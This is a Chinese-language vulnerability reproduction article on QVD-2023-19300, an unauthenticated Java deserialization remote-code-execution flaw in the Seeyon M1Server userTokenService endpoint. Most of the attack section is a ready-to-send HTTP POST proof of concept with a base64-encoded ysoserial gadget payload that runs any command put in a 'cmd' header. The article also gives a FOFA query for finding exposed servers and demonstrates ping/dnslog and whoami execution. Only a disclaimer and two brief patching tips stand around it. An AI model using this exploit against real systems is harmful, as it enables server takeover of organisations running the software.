QVD-2023-19300:致远M1 usertokenservice反序列化RCE漏洞复现

文章目录

  • 致远M1 usertokenservice反序列化RCE漏洞(QVD-2023-19300)复现
    • 0x01 前言
    • 0x02 漏洞描述
    • 0x03 影响版本
    • 0x04 漏洞环境
    • 0x05 漏洞复现
      • 1.访问漏洞环境
      • 2.构造POC
      • 3.复现
    • 0x06 修复建议

致远M1 usertokenservice反序列化RCE漏洞(QVD-2023-19300)复现

0x01 前言

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

0x02 漏洞描述

致远M1移动协同软件,结合移动应用特色的信息终端,帮您高效管理,掌控全局;基于移动互联技术的产品,实现全天候在线,随时随地了解企业信息;触控式操作,舒适的滑动体验,全面支持iPad 、iPhone、Android智能终端,让工作步入时尚舒适季。

致远OA M1Server userTokenService 接口存在反序列化漏洞,未经授权的攻击者构造恶意的序列化数据可造成远程代码执行,最终可以获取服务器权限。
QVD-2023-19300:致远M1 usertokenservice反序列化RCE漏洞复现_第1张图片

0x03 影响版本

致远OA M1Server

0x04 漏洞环境

FOFA语法:“M1-Server 已启动”
QVD-2023-19300:致远M1 usertokenservice反序列化RCE漏洞复现_第2张图片

0x05 漏洞复现

1.访问漏洞环境

QVD-2023-19300:致远M1 usertokenservice反序列化RCE漏洞复现_第3张图片

2.构造POC

POC (POST)

POST /esn_mobile_pns/service/userTokenService HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Content-Type: application/x-www-form-urlencoded
cmd: 执行的命令
 
{{base64dec(rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3S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gAbAAAAAXEAfgAjc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=)}}

3.复现

http://your-ip/esn_mobile_pns/service/userTokenService

存在如下显示,可能存在此漏洞 !!!
QVD-2023-19300:致远M1 usertokenservice反序列化RCE漏洞复现_第4张图片PS:yso的TomcatEcho回显链+yakit base64编码

执行ping命令,使用dnslog回显。
QVD-2023-19300:致远M1 usertokenservice反序列化RCE漏洞复现_第5张图片QVD-2023-19300:致远M1 usertokenservice反序列化RCE漏洞复现_第6张图片发现dnslog有回显,命令成功执行。

执行whoami命令。
QVD-2023-19300:致远M1 usertokenservice反序列化RCE漏洞复现_第7张图片

0x06 修复建议

 1. 关闭互联网暴露面或接口添加访问权限
 2. 升级至安全版本或打补丁

你可能感兴趣的:(漏洞复现,安全,web安全,网络安全,系统安全,其他)